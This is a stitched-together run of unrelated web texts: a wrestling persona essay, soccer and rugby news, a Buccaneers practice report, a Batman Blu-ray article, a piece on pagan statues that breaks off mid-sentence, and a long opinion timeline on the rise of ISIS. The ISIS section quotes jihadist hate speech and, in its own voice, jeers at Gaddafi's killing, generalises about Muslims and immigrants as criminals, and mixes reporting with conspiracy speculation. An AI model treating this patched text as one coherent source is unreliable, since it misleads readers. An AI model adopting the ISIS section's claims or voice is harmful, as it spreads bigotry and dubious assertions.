I sometimes feel like I’m their sun – as in the center of their universe. Their passion can be overwhelming. But it drives me. I want to give them hope when I can. I want to inspire them when I can. Now that I’m bigger, stronger, smarter, and more successful than I’ve ever been, I realize that I owe it to not just the people of Northeast Ohio, but to each and every member of the WWE Universe – to leave that awful, dying city of Cleveland behind and never look back.
Cleveland is a small-market city with small-minded, ordinary people – much like yourselves. I have a responsibility to lead, and I want kids everywhere who look up to me to realize there are better places to grow up.
Remember when I was WWE Champion in 2011? I was thinking. This is really tough. I could feel it. Holding that title was almost like college for other kids. I guess it was my fate to lose it – because the past three years without it, helped raise me into who I am. I became a better man … and a Movie Star. I now think of the film set as my second home. I learned from The Marine Franchise what is important in life … The Moneymaker.
I'm doing this essay because I want an opportunity to explain myself uninterrupted. I don't want anyone thinking: Mr. McMahon made me do it. Although the media and my public are hungry for it – I'm not having a press conference or a party. After this, it's time to get to work.
I left Cleveland seeking championships. My goal is to win as many titles as possible, no question. Cities like Fayetteville, Cleveland, Charlotte – they don't know what it's like to be a winner. I do. I needed a city that screamed The Miz. So I made LA my home.
To make the move I needed the support of my wife and family and dogs, who can be very tough. The blogs telling me I sucked, "The Miz is awful!" chants from the crowds, Angry Miz Girl – experiencing all that was hard for them. My emotions were mixed. It was easy to say, "OK, I don't want to deal with these people ever again." I could just do features films. I even thought, maybe I should just leave, but you wouldn't want that. But as heartless as all of you are, I didn't bring myself down to your level.
What if I were a kid who looked up to a movie star, and that movie star made me want to do better in my own life, and then he left? How would I react? I refuse to deprive the innocent children of my presence because of your mistakes, and though I personally don’t ever make mistakes. Who am I to hold a grudge?
I'm promising a championship. There's a lot of young talent in this Battle Royal – and they all look up to me as a mentor now. I know I can help Dolph Ziggler connect with the audience. I can reunite with Zack Ryder, one of my favorite competitors. I'm excited to lead these guys – then throw all of them out of the ring.
But this is not about the Battle Royal or WWE. My calling goes above that. With that title, it would be my responsibility to lead as a Global Role Model across a multitude of media platforms – magazines, TV guest appearances, films, TMZ, to name a few and I take that very seriously. I want the kids from these uninspiring towns to realize there are better places to grow up. Getting them out of communities like yours … That would make me smile.
In life, nothing is given. Everything is earned. You work for what you have. I’m ready to accept the challenge. Because I’m not just some kid from Northeast Ohio. I’m the Miz, I’m from Hollywood, and I’m... a star.Luis Suarez once forced his way out of Anfield by becoming such a headache off of the pitch that Liverpool were willing to let their best player leave, without having an adequate replacement lined up. Raheem Sterling's agent, Aidy Ward, seems to have taken notes from that situation, and is doing his best to earn his client a move away from the Reds.
Sterling's contractual situation has been the big story around England of late, with little of not happening on the pitch in recent weeks. Jamie Carragher made his displeasure with Ward's work known on Monday evening, and according to Benedict Moore-Bridger of The London Evening Standard, Ward fired back on Wednesday:
"Carragher is a knob. Everybody knows it. Any of the criticism from current pundits or ex-Liverpool players - none of them things matter to me. It is not relevant." "I don’t care about the PR of the club and the club situation. I don’t care. He is definitely not signing. He’s not signing for £700, £800, £900 thousand a week. He is not signing." "My job is to make sure I do the best with them (my clients). If people say I am bad at my job, or they are badly advised it does not matter."
Now would be the time to note that Ward has since denied making those comments, though it's worth noting that The Evening Standard has never been known for making up comments like the ones printed in Thursday's paper in order to sell more copies. My gut tells me that Ward actually made the comments in question, but realized after the fact that they may do his client more harm than good.
Regardless, The Evening Standard also had this nugget in the article, which Chelsea fans should be excited about:
Ward said Sterling would not move to Real Madrid, Barcelona or Bayern Munich, and suggested Chelsea or Manchester City were the most likely destinations.
Real or not, I can't imagine this story will make Sterling any more popular with the Anfield faithful, who already booed the player when he was honored by the club earlier this week. That alone should make his Liverpool exit a little more likely, should one of Chelsea or Manchester City make an acceptable bid.Previously, we brought you “Where God is Carved in Stone on the National Mall.” Today, we’re looking at weird pagan influences on the National Mall in Washington D.C..
While the U.S. certainly has been greatly influenced by the Christian faith, it has also been influenced by certain strains of Enlightenment thought that are decidedly un-Christian. Remember that while the U.S. was in its infancy in the late 18th century, over in Europe during the French Revolution crowds took the Cathedral of Notre Dame and the replaced the altar with an altar to Liberty. This type of thinking was in the air.
[See also: How All the Apostles Died & Where You Can Find Their Remains Today]
[See also: Why Satan Is So Scared of St. John Paul II, According to Rome’s Chief Exorcist]
A revival of ancient Greek mythology mixed with a desire to replace Christianity in the public sphere seems to have expressed itself in at least these three places in Washington D.C. Of course, this doesn’t mean we can’t enjoy these things today, but their origins are interesting nonetheless:
1) The embarrasing statue of George Washington as Zeus everyone tried to forget about
About two decades before construction began on the current Washington Monument, the U.S. Congress commissioned the sculptor Horatio Greenough to make a statue of George Washington for display in the U.S. Capitol rotunda. Greenough ended up making a statue of Washington modeled after the ancient Statue of Zeus at Olympia, one of the seven wonders of the ancient world.
Titled – and I’m not making this up – “Enthroned Washington,” the sculpture was unveiled in the U.S. Capitol in 1832 and generated controversy immediately. In addition to the fact that Washington was being made out to be a Greek god, people found it either offensive or simply comical that Washington was bare-chested.
Think people were over-reacting? Imagine if the country today decided to display a statue of Bill Clinton or Ronald Reagan bare-chested on the national mall. Yeah, it would be really weird and people would make fun of it.
That same year, a group of concerned citizens formed the Washington National Monument Society, which led the effort to build the current Washington Monument.
Not quite sure what to do with the thing they had just paid an artist to make, Congress relocated the statue to the east lawn of the Capitol building in 1843. In 1908, it was moved indoors to the Smithsonian Castle. It stayed there until 1964 when it was |
the next snap as nose tackle Akeem Spence used a forklift-hump move to shove Hawley out of the way.
Clinton McDonald used a bull rush move to shove his way past Evan Smith. Hawley beat Spence on the rematch rep by locking him up inside, while McDonald used a wicked long arm move on Evan Smith to sweep his reps against the center, who saw time with the starters today in 11-on-11’s.
Brown and Gosder Cherilus battled to a stalemate on their first rep before Brown was victorious on the second snap, which he won with a strong inside rip. Donovan Smith and Noah Spence had a stalement in their first go-around before Smith pancaked Spence, who was using an outside speed rush, on the next rep.
Johnson and Fallin squared off and split their rips with Johnson winning the first one with effort and strength and then lost the second one with Fallin locking him up inside. Defensive tackle Cliff Matthews split his rips with Allen, who did a great job mirroring him on the first snap before Matthews used a long arm technique to win the next.
Gottschalk effectively mirrored Ward and started an offensive line trend with Pamphile beating A.J. Francis twice using quickness to negate Francis’ size and strength. Ward used a nice club-rip move to get past Gottschalk.
Lambert swept offensive tackle Kelby Johnson in a pair of reps by beating him off the ball with speed on the first snap and a strong inside spin move on the next.
Jones lost an outside rush against left tackle Donovan Smith, who used his length and strength to push Jones way outside on the first clash. On the next rep, Jones stepped outside and then came inside to beat Wester, who has been getting reps as the second-team left tackle.
Rookie defensive tackle Travis Britz used a nice swim move to get past Fallin on his first rep and followed that up with a strong rip move to get by him on the next rep. Akeem Spence kept up the defensive momentum by easily sweeping Hale with quickness, power and superior technique on both of his reps against the rookie offensive lineman.
Marpet and McDonald split their series with Marpet pancaking McDonald on the first snap, but McDonald used a tremendous push-pull technique followed by a nasty club-rip to finish Marpet. The defense’s dominance was interrupted by Gottschalk beating Gholston, who was lining up inside at defensive tackle, on consecutive snaps by keeping Gholston at bay with proper arm extension and great feet to laterally mirror him.
Noah Spence beat Wester off the ball with a tremendous speed move before Jacquies Smith dominated Dotson to end the session with a pair of wins against the defense. Smith used a stutter step outside to cross Dotson’s face and beat him inside. Then on the final rep, Smith took a step outside and then a quick step inside to fake an inside rush before blowing by Dotson on the outside. Dotson bit hard on Smith’s inside rush from the previous rip and whiffed on blocking the defensive end, which drew a lot of hooting and hollering from the defensive linemen, who were watching.The announcement of the pools and fixtures for the tournament in Houston has reminded everyone just how hugely competitive the all-new IRB Women’s World Sevens Series is.
New Zealand - champions of round one in Dubai - face a mouth-watering pool clash with England, who will be much stronger in Texas with the re-introduction of a number of its senior players who missed out in the first round due to Fifteens commitments.
New Zealand have already announced their squad for the tournament and have brought back five of their own experienced players who were on Black Fern duty in December. That tie is undoubtedly the pick of the pool clashes where you can expect returnees such as Kelly Brazier and Kendra Cocksedge to be key for New Zealand, while the return of the likes of Jo Watmore and Heather Fisher for England will also make a huge difference.
Core side Netherlands are also in this pool alongside newcomers Trinidad & Tobago. The Dutch will have strong ambitions of their own and will certainly be aiming to place higher than the eighth they managed in Dubai, but even with pace-setter Kelly van Harskamp in good form, this is an incredibly tough pool for the progressing Netherlands.
Surprise package
South Africa were the surprise package in Dubai, going all the way to the final with some superb displays, but repeating the feat won’t be easy in Houston as they face host nation USA and Canada as well as the improving Argentines in Pool B.
For South Africa, players such as Phumeza Gadu and Zenay Jordaan are rising stars on the Sevens scene and if they can get ahead in their pool, they will still more than believe they are capable of going all the way this time around.
In the final pool Australia face Russia, South American champions Brazil and Asian newcomers Japan.
By their own admission, the reigning world champions Australia were disappointed with their results in Dubai, and will be missing their captain Rebecca Tavo in Houston who is recovering from injury. Chris Lane’s team will be confident in this pool, though they face a hugely physical test with Russia, who have been improving month by month. Brazil are well used to winning titles in South America and will be looking to make a step up here while Japan are just dipping their toes in international Sevens at this level.
There have been a number of notable developments in the women’s Sevens game in recent months, not least the increased training programmes by a number of leading sides, and these will make a huge difference to the standards of the women’s Sevens game.
England’s Sevens squad is now training three times a week in London, effectively on a semi-professional basis in the lead-up to Rugby World Cup Sevens in Moscow, while the USA recently announced that 16 players are now training full-time as professional athletes.
Those players train full-time at the Olympic Training Centre (OTC) in Chula Vista, California, and, while the athletes will live off-site, they will have full use of the high performance facilities including recovery and analysis equipment, sports psychologists and dieticians.
With Canada, New Zealand and Australia all also pushing ahead on securing more funding for their squads, expect a sharp rise in performance and standards across the board over the rest of the series, especially among the core teams.
Ali Donnelly is the editor of Women's Rugby website, Scrumqueens.com.CLOSE Director Christopher Nolan discusses the cinematic reality of Gotham City in his three Batman movie in an exclusive clip from the new "The Dark Knight Trilogy" Blu-ray collection. Warner Bros. Home Entertainment
Filmmaker talks about the appeal of Gotham City in an exclusive clip from a new 'Dark Knight' trilogy set.
Director Christopher Nolan brought a "cinematic reality" to his Batman films. (Photo: Dan MacMedan, USA TODAY) Story Highlights Christopher Nolan's Batman films are collected in a special 'Dark Knight Trilogy' set
A new special feature has the director talking about how real his Gotham City is
With three Batman films, director Christopher Nolan won accolades for the grounded fashion he crafted the adventures of the Dark Knight and the various villains who want to see Gotham City destroyed, raising the bar for comic-book movies as a whole.
However, it was never exactly about creating a sense of direct reality, Nolan reveals in a behind-the-scenes look at creating his Bat-movies in the new The Dark Knight Trilogy: Ultimate Collector's Edition.
Out Tuesday, the Blu-ray set features Nolan's movies Batman Begins, The Dark Knight and The Dark Knight Rises — films that are, for the filmmaker, extremely heightened and operatic.
"But it's about what I suppose you might term a cinematic reality," Nolan explains. "It's about giving the world of the films and the characters as much weight and validity as they would if your source material were not a comic book — if he was a character in another genre of film you were having to introduce to the audience for the first time and get them to believe it.
"That's what my use of the reality is about. It's not about a literal reality."
The fact that it's not real life is part of the appeal for Nolan about Gotham, its protector (Christian Bale) and the baddies he fights, from Liam Neeson's methodical Ra's al Ghul in Batman Begins to the late Heath Ledger's psychotic Joker in The Dark Knight to Tom Hardy's bruising Bane in The Dark Knight Rises.
They're removed from real life enough that "you can address dramatic elements that would be extremely uncomfortable in a realistic film in a way that lets the audience enjoy the experience and entertainment.
"Hopefully it gives them a little something to think about and gets under their skin in some ways."
The Ultimate collection includes new special features, including "The Fire Rises: The Creation and Impact of the Dark Knight Trilogy," a look at Nolan's franchise and its effect on filmmaking with Guillermo del Toro, Damon Lindelof and Zack Snyder among those weighing in; a conversation between Nolan and Superman director Richard Donner about bringing iconic superheroes to the big screen; and the IMAX sequences in The Dark Knight and The Dark Knight Rises.
In addition, the set offers a trio of Hot Wheels vehicles by Mattel from the movies — the Tumbler, Batpod and The Bat — collectible art cards and a 48-page hardcover book.
Read or Share this story: http://usat.ly/1aazrfgThe Rise of ISIS: Extensive Timeline and the Roles Played by Bush, Obama, Turkey and Arab League
Contents
"We say as [Allah's prophet] Ibrahim - peace and blessings be upon him - said to his father [and his people]: "... There has started between us and you hostility and hatred forever, until you believe in Allah alone!" And we say to you as the Prophet Muhammed - peace and blessings be upon him - said: "We have come to you with nothing but slaughter!" So rejoice, oh disbelievers! [grabs butcher's knife] Declare Allah the greatest! Declare Allah the greatest!
"I swear by Allah the Almighty, we will cleanse the Arabian peninsula of you, oh filthy ones! We will conquer Jerusalem, oh Jews! We, the children of Isaac, will conquer Rome [and] take back Andalus [Spain and Portugal]!... These are our passports, oh Tawagheet (tyrants) in every place! For I swear by Allah that we are Muslims. We are Muslims! We are Muslims!...
"We praise Allah for his blessings and for gathering us together as the lions of the Islamic State from every corner of the world. We praise Allah who granted us the blessing of pledging allegiance to the ameer [commander] of the believers, Abu Bakr Al-Qurashi Al-Baghdadi..."
Greatest and most impassionate hate speech ever. Given by an ISIS leader after the capture of Fallujah in January 2014 (2014, ISIS video, Clanging of the Swords: Part IV, 2:30).
"Western countries, the Gulf states and Turkey are supporting [largely Jihadi] opposition forces [to Assad]....
"If the situation unravels, there is the possibility of establishing a declared or undeclared Salafist principality in eastern Syria...
"This creates the ideal atmosphere for AQI [Al Qaeda Iraq] to return to its old pockets in Mosul and Ramadi, and will [lead to] unifying the Jihad among Sunni Iraq and Syria, and the rest of the Sunnis in the Arab world against what it considers one enemy, the dissenters [such as Jews, Christians and Shiites]."
August 2012, Defense Intelligence Agency (DIA) report, 1.5 years before ISIS and Al Qaeda took over Ramadi and Fallujah and later Mosul. This was written while the CIA apparently was working with Arab League countries as Saudi Arabia and Qatar to arm said "opposition". (PDF)
"If a jayvee team puts on Lakers uniforms that doesn't make them Kobe Bryant."
January 24, 2014, Obama's (populist) reply to the remark that ISIS and Al Qaeda are now in control of Fallujah and Ramadi. He takes no action, similar to countless other occasions.
"The [Jihadi and "moderate"] groups, the armed groups in Syria, got a lot of support. Not just from the United States, but from other partners.... Qatar, Turkey, Saudi Arabia - a huge amount of money was coming in....
"We were watching. We saw that Daesh [ISIS] was growing in strength. And we thought Assad was threatened. We thought, however, that we could probably manage, you know, that Assad might then negotiate and instead of negotiating, he got Putin to support him."
September 21, 2016, reluctant words of Obama's secretary of state John Kerry during a private talk at United Nations headquarters to a group of anti-Assad Syrian activists. The talk caused some controversy when its contents became known.
PART I
2011: the year of hope
The Arab Spring, Cairo, Egypt, 2011.
It's 2011, the year of hope: the situation in Iraq is finally under control; Jihadist groups have been defeated and the U.S. pulls out of the country. Even better, the masses in the Middle East see the bright light of democracy and begin to protest against their evil oppressors everywhere. The first dictator to go is Hosni Mubarak in Egypt. Large freedom celebrations break out. CBS reporter Lara Logan finds out just how thankful the Egyptians are with their newfound freedom; for 40 minutes she is subjected to a near fatal gang rape by a crowd of several dozen over-excited freedom celebrators. Such a thing can't spoil the party, of course, nor the fact that, according to authoritative World Public Opinion (Brookings Institution, Columbia University, Georgetown University) and Pew polls, Egyptians almost universally support:
People in the Middle East also seem highly divided about the concept of democracy and women's rights. Combine that with the greatly heightened crime numbers among immigrants from these regions, including rape numbers more than 20 times higher than West-Europeans, and it is hard to see how Muslims are going to develop a thriving democracy at this point in time, with or without external help. However, let's not be negative!
Muammar Gaddafi in neighboring Libya is disposed of later in 2011. He meets his end after a lovely anal gang rape that is broadcasted around the world. Jihadis soon rule the country with endless streams of African refugees finally having free movement through Libya as a gateway into Europe. In Syria large-scale protests break out against dictator Bashar al-Assad. In Bahrain and Tunisia Amber Lyon is strolling around with her CNN film crew, doing her part in trying to overthrow the regimes here. It's clear: the "Arab Spring" is in full swing.
Rockefeller and Soros favorite Bernie Sanders at Occupy Wall Street in 2011.
Meanwhile, in the United States, westerners rise up against the "1%" in Occupy Wall Street rallies across the country. The "1%" actually supporting these protests through foundations as Tides and allied "alternative" "liberal CIA" media outlets is just a minor detail we shouldn't pay too much attention to. After all, Barack Obama, that symbol of western tolerance and progression, is now in office. With that, he has saved the world from Bush, the "Israel-uber-alles" neocons, and their evil war plans with regard to Iran. Black people finally have a voice too. The borders are open and the entire Third World is invited to come celebrate. And all of it has become possible through the internet, through alternative news, social media, the Tor project, "Generation Z", Wikileaks, and all those selfless, adventurous "hacktivists" of Anonymous.
So, here in 2011 we have Westerners and Muslims fighting together against tyranny and exploitation. It finally looks as if we're all going to live in peace - forever and prosperous - every nation and ethnic group on Earth. The age of enlightenment is just around the corner!
2014: the year of nightmare
The Syrian city of Homs: from the Arab Spring in 2011 to the post-ISIS struggle in 2016.
Three years later. It's 2014. Right from start, in January, the nightmare begins: a seemingly unstoppable Sunni Jihadist monster army consisting of tens of thousands of fighters rises from the ashes in Syria and Iraq, seemingly out of nowhere. The Jihadis take over all of western Iraq and eastern Syria in a matter of months. Soon the world is confronted with film clips of gruesome public executions of "infidels", a refugee stream of over 10 million Syrians, terrorist attacks all over Europe and the United States, and a loss of priceless world heritage sites at Palmyra that stood for thousands of years.
Even worse, at the same time that ISIS arises in Syria and Iraq, allied terrorist groups rear their ugly heads in Libya and Egypt: two supposed "Arab Spring" success stories. Other Muslim countries in northern Africa are also soon infected with the Jihad virus: Mali, Nigeria, Somalia. It took more than a decade, but Bush's prediction after 9/11 of a near endless War on Terror has finally arrived in full force.
The rise of ISIS in Syria - and its oil smuggling through Turkey
Needless to say, a lot of people have been wondering: what on Earth happened? Where did this Jihadist monster army come from so suddenly? And maybe even more important: who is responsible for its sudden rise?
Syria conflict map the day this article was published. See syria.liveuamap.com for daily map updates. It remains hilarious and very telling that on virtually no battle map at any point the Free Syrian Army is listed as distinct from Al Nusra and other Sunni-Salafist-terrorist groups apart from ISIS.
In brief, after Libya's fall in late 2011, tens of thousands of weapons from looted arms depots in this country ended up with the anti-Assad "dissidents" in Syria, including Al Qaeda Syria (Al Nusra) and the Islamic State (ISIS), as well as only slightly more "acceptable" Jihadi groups as Jaysh al-Islam and Ahrar al-Sham, respectively founded in mid 2011 and December 2011. Many Libyan Jihadis followed the arms pipeline from Libya into Syria as well. The arms shipments to anti-Assad elements were soon matched by Iranian, Russian and Chinese shipments to Assad, causing an arms race that started to explode in early 2013. In March of that year ISIS forces in eastern Syria moved west and took control over much of Raqqa. ISIS came as far as the outskirts of Aleppo in north-west Syria that year, but were kicked out here in January 2014 by fellow anti-Assad groups Al Qaeda Syria (Al Nusra) and West-backed Free Syrian Army (FSA) forces because ISIS could not be reasoned with. In that very same period, in the first days of January 2014, ISIS fully moved across the border into an increasingly sectarian-divided Iraq, and took control of Ramadi and Fallujah.
General perception of Obama's campaign towards ISIS, as well as his overall policy towards Iraq. While definitely not inaccurate, Bush, Turkish and Arab League influence on the situation, or the extreme corruption of Iraqi prime minister Nouri al-Maliki, should not be overlooked. The whole situation is a mess.
At the very least Obama could have prevented the Iraq situation, but the U.S. president maintained a strict hands-off policy until almost all of western Iraq was in the hands of ISIS, including the northern city of Mosul.
In a nutshell, that's how the ISIS situation happened. But we can go into more detail. Much more detail. The shipments in question were organized by Turkey and Arab League countries as Saudi Arabia, Qatar and Jordan. Qatar is primarily linked with Al Nusra financing, with Qatari officials and others having described ISIS as a "Saudi project" and in particular of good old "Bandar Bush", the decades-long key CIA asset and friend of the Bush family. That is, until ISIS turned against Saudi Arabia in early 2014, as it did against Turkey, Al Nusra, Al Qaeda leader Ayman al-Zawahiri (the still fugitive and reportedly Far West-linked right-hand of Osama bin Laden at the time of 9/11) and everyone else. Turkey has been linked to support of both Al Nusra and ISIS, not just in the form of arms shipments and the movement of Jihadi militants, but also to medical treatment of wounded militants, ISIS oil imports, the supplying of thousands of tons of explosive material for ISIS' truck bombs and other IEDs, and possibly even the supplying of Sarin gas to Al Nusra militants.
Pakistan and Kuwait, including all afore-mentioned countries, have been linked to Jaysh al-Islam, Ahrar al-Sham and, much later, Jund al-Aqsa. The latter group was only founded in January 2014. Realistically, all three are terrorist groups. Secretary of state John Kerry certainly seemed to think so. The only reason these groups are kept off United Nations terrorism blacklists for the time being is because they have stuck to trying to overthrow Assad. Keeping these groups part of the "legal" opposition to Assad also makes it harder for Russia to legally bomb them.
The United Arab Emirates is another country that stands accused of supporting Jihadi militants in Syria, an accusation voiced by none other than Obama's vice president Joe Biden. While available evidence against the UAE is not particularly strong for the time being, the country - alongside Qatar, the CIA and the late ambassador Chris Stevens - also surfaced as an arms supplier towards Libya to Jihadi anti-Gaddafi militias in the months before the pipeline reversed and Libyan arms and Jihadi fighters started to move towards Syria.
The thing is, both the Arab League and the Syrian "rebel" groups are Sunni-dominated. Sunnis, and certainly its Salafist extremists, happen to not only hate westerners and Jews, but also Shiites - who can be found in Iran, eastern Iraq and western Syria, where they serve as Assad's power base (the Alawites). It must be said, Iraq's Arabic Shiites don't necessarily get along too well either with the Persian Shiites of Iran, but it certainly is orders of magnitudes better than with the Sunnis, with whom the Shiites are locked into a permanent state of war throughout the Middle East. This state of war in part is also why the West is allied with Sunni terrorism-supporting states as Saudi Arabia and Qatar against the Shiite terrorism-sponsoring regimes of Syria and Iran (Hezbollah and Hamas). Because Arab League countries enjoy the protection of the United States, they generally are not too concerned with the development of nuclear weapons and other weapons of mass destruction, a dangerous obsession of Syria and Iran in particular.
In other words, a break with the Arab League, also because of oil interests, is not considered desirable. That's almost certainly why Obama tried to block the 9/11 families from going after members of the Saudi establishment for their ties to the (equally Sunni) Al Qaeda terrorists who carried out 9/11. In fact, Bandar Bush, the alleged ISIS financier; and Prince Turki, the 25-year Saudi intelligence chief who suddenly stood down two weeks before 9/11, are considered among the chief Saudi suspects of having played a role in the 9/11 plot, not to speak of Prince Turki's Far West Ltd. ties. Interestingly, both were suddenly removed as Saudi intelligence chiefs by the Saudi king immediately before major cases of so-called "blowback", first in the form of Al Qaeda's 9/11 hijackers and later in the form of ISIS. Both Prince Bandar and Prince Turki also go back to the controversial Hun School at Princeton and have been named as decades-long CIA assets who helped finance the CIA's global operations after congress became too nosy in the 1970s with all the congressional investigations into MKULTRA, domestic spying, dirty tricks, Watergate, the Kennedy assassination, and other cases of suspected misconduct. The support for terrorism of Bandar Bush and Prince Turki is additionally interesting, because the latter in particular has always been part of the western superclass, showing up at countless elite conferences and think tanks.
U.S. involvement in Syria goes back quite a few years. In 2005 the Bush administration, with the aid of a network of private think tanks, was able to boot Syria out of Hezbollah-controlled Lebanon in an event known as the Cedar Revolution. Along with Iraq, Iran, Syria and Libya, this was one of the objectives set out by the Bush administration after 9/11. That is, according to the well-known "seven countries in five years" claim of General Wesley Clark, the former NATO commander.
From April 2009, and thus since before the "Arab Spring", the State Department's Barada TV was broadcasting into Syria to incite protests and armed dissent against the Assad regime. By itself this wasn't going to result in the removal of Assad. As Obama pointed out, "an opposition made up of former doctors, farmers, pharmacists and so forth [can't] battle not only a well-armed state but also a well-armed state backed by Russia, backed by Iran [and] a battle-hardened Hezbollah." Of course, you can give the opposition a little help in the form of rifles and anti-tank missiles, especially when it involves religious extremists.
Throughout 2012 the CIA under Obama and MI6 under David Cameron helped coordinate the afore-mentioned Turkey-Arab League arms shipments from Libya to Syria. The CIA didn't just get arms from Libya, but also brokered a $1.5 billion arms deal with Eastern European countries, involving "AK-47s, mortar shells, rocket launchers, anti-tank weapons and heavy machine guns." Most likely this deal explains the huge numbers of AK-47 rifles in ISIS' possession. One assumes these arms raise less eyebrows in the West than M-4s or M-16s.
Free Syrian Army (FSA) soldiers with U.S.-supplied TOW missiles and Barrett.50 cal sniper rifles. Many, if not the majority of pre-2015 FSA fighters joined ISIS and Al Qaeda Syria - and certainly cooperated with them.
Looking at these individuals and based on the fact that the vocabulary of these TOW crews in YouTube combat videos is pretty much restricted to "Allahu Akbar" utterances of varying pitch and volume, one wonders how "moderate" anyone really thought these rebels were.
Anti-tank missiles also made it to Syrian rebels from late 2011. Starting no later than February 2012, the U.S., Great Britain and France - three countries deeply involved in getting rid of Gaddafi in Libya - were training Free Syrian Army units in Jordan to be infiltrated into Syria. These units went on to decimate Assad's tank forces with TOW missiles, an extremely low profile but highly successful campaign. By May 2013 each month more than 100 tanks of Assad were lost to these missiles. At this point - May 2013 - approximately 2,000, or 27 percent, of Assad's entire 7,300 tank and BMP force had been destroyed in this manner. Even in 2017, when looking at the live war map of the Syrian conflict at syria.liveuamap.com, one can spot numerous instances in which tanks of Assad are destroyed with anti-tank missiles by a variety of FSA and Jihadi militias. Considering these operations have played such a key role in decimating Assad's tank army - once among the largest in the world - it's quite bizarre that virtually no attention has been given to it.
Even more strange, all this CIA conspiring is reported to have happened from late 2011 and throughout 2012 when Obama is said to have kept his entire administration from getting involved in the Syria conflict, blocking all aid, even "non-lethal", and even barring his State and Defense departments from liaising with the Free Syrian Army. This attitude caused major friction with secretary of state Hillary Clinton, secretaries of defense Leon Panetta (also Obama's former CIA director) and Chuck Hagel, Joint Chiefs of Staff chairman General Martin Dempsey and, of course, much of the media, the Washington Post at the forefront. Yet, the CIA, whether directly or indirectly - through private fronts, assets, cut-outs and Arab League countries - appears to have been doing its usual thing. The reports are right there in the New York Times.
Quite predictably, "moderate" West-trained Free Syrian Army army forces not only sold their arms on to their "brothers" in Al Nusra and ISIS (and probably the other Jihadi militias just mentioned), but many also joined these groups. In mid 2014, with ISIS having greatly grown in strength, it was even reported that the Free Syrian Army hardly existed anymore due to the number of defections to Jihadi groups. Even before that, many soldiers in these FSA units were joking that they were fighting a Jihad with arms and training provided by the West.
Throughout the 2013-2015 period, ISIS financed its war effort with captured oil wells and illegal oil trade with Turkey, looting, taxation, extortion, and the establishing of monopolies on essentials as food and energy. Generally it is estimated that ISIS brought in over $1 billion a year in this period, allowing it to provide its fighters and terrorists with very decent monthly wages.
However, the fact remains that the initial success of ISIS came through literally billions in covert arms shipments to the region, in addition to covert training programs of the West to take out Assad's tank army. States as Qatar, Saudi Arabia, Jordan and Turkey have been the main culprits behind arming these extremist elements, but considering the extent of cooperation between the Free Syrian Army and these extremist groups - not to mention the alleged involvement of the CIA and MI6 in Arab League arms shipments to Syria - one has to conclude that the United States, Great Britain and France are almost just as guilty as these Middle Eastern countries in allowing the rise of ISIS. Since early 2013, newspapers regularly reported how "non-lethal" and "lethal" aid were ending up with extremists, either directly through Turkey and the Arab League or through Free Syrian Army "moderates" selling materiel on to their "brothers" of ISIS and Al Nusra. The West knew and did nothing.
Then again, based on a September 2016 statement at a private United Nations meeting of John Kerry, Obama's secretary of state, we get the impression that the Obama administration didn't mind the growth of ISIS alongside the Free Syrian Army, this in the hope of pressuring Assad to leave the country:
"We were watching. We saw that Daesh [ISIS] was growing in strength. And we thought Assad was threatened. We thought, however, that we could probably manage, you know, that Assad might then negotiate and instead of negotiating, he got Putin to support him."
Unfortunately, apart from Assad refusing to leave as dictator of Syria, ISIS couldn't be controlled. The West, Turkey, Saudi Arabia and even Al Qaeda all had to find this out the hard way. The only reason Saudi Arabia and neighboring countries joined the "anti-terrorism" alliance against ISIS in September 2014 is because ISIS had begun a campaign to destabilize Saudi Arabia. However, ISIS oil trade routes weren't targeted, allowing the terrorist group to greatly expand its territory from May to August 2015. Turkey became the victim of a first major ISIS bombing in July 2015, reluctantly forcing it into the still not particularly effective anti-ISIS campaign.
In November 2015 ISIS attacked Paris, killing 130 citizens. It appears this attack conclusively ended the secret ISIS oil pipeline into Turkey and forced the West to actively close it down and fight ISIS in a more serious manner than before, despite the fact that Assad still was in place and wasn't going anywhere soon. One of the reasons that Assad remained in place is because Obama and the West failed to instate a no-fly zone over the country to "protect civilians", which could have been done after the August 2013 sarin gas attack in Ghouta (where rebel/Jihadi groups were active). This was two years before Russia began its airstrikes in Syria, which first happened in September 2015. The lack of air cover would have allowed anti-Assad forces to be much more effective and appears to have been part of the original plan for the coup against Assad by Obama's State Department. [1] Obviously, Senator McCain also really loved that idea. The alternative, handing ISIS, Al Qaeda, or even the Free Syrian Army surface to air missiles such as the Stinger, Mistral, or Starstreak, is extremely tricky, because these groups are just as likely to shoot down civilian airliners.
Erdogan's Turkey: helped ship Libyan arms to Al Qaeda Syria and ISIS to be used against the Kurds and Assad since late 2011. Bought and transported billions in ISIS oil in 2013-2015. Has become increasingly antagonistic towards Russia and the West over the years.
Turkey's megalomaniacal dictator-to-be Tayyip Erdogan, an incredibly erratic NATO "partner", caused further problems in November 2015 when he allowed the shoot-down of a Russian fighter jet. Russia immediately responded by bringing its hyper-advanced S-400 surface to air missile system into Syria, along with dozens of advanced T-90 tanks that cannot be taken out by the older TOW systems the U.S. had been shipping to Syrian rebels.
To this day it is not known to what extent the West supported Erdogan's overseeing of the ISIS oil trade. It is also not known to what extent his apparent support for Al Nusra and potential hand in the August 2013 Ghouta sarin gas attack (or the creation of a roughly similar incident) was sanctioned by elements in the West. What we do know is that his initial refusal to fight ISIS was controversial, as was his refusal to prevent ISIS massacres on the Kurds just a mile from his border (he even kept the border closed to refugees). His anti-democratic proclivities and reactionary behavior towards Russia, which deepened Russian involvement into Syria, also appear to not have been appreciated by the West.
The situation with Erdogan only got worse after a seemingly justified-but-failed CIA coup in June 2016. Among other things, Erdogan has been attacking countries as the Netherlands and Germany of operating like Nazi regimes for not being allowed to campaign here for his new presidential system and even began attacking the West for supporting ISIS. That last accusation might well be true, but is clear that Erdogan has been among the most ruthless players in the whole Syria conflict. The primary question that remains is to what extent the West knew about and allowed Turkey and the Arab League to support ISIS and Al Nusra as a counter-weight to Assad.
In brief, the summary here explains:
how the ISIS nightmare - at least the Syrian aspect - hit the world so suddenly in mid 2014;
how despite continued NATO-Arab League bombings, ISIS continued to expand its territory in Syria in mid 2015;
and how ISIS was able to carry out a number of major terrorist attacks in the West starting in November 2015.
The short answer is that the West was looking to see if ISIS could force Assad out of office, a dream that was largely quashed in November 2015 with the Paris attack, Turkey's downing of a Russian fighter jet, and Russia's subsequent entry into the war in the side of Assad.
In addition, it looks as if the war against ISIS has been progressing so slowly even after November 2015, because the NATO-Arab League alliance has needed time to replace lost territory with newly-created Free Syrian Army units, including Jaysh al-Nasr in the north-west, the Kurd-dominated Syrian Democratic Forces in the north and north-east, and the New Syrian Army in the south.
None of that is a certainty, but all of it certainly is a possibility.
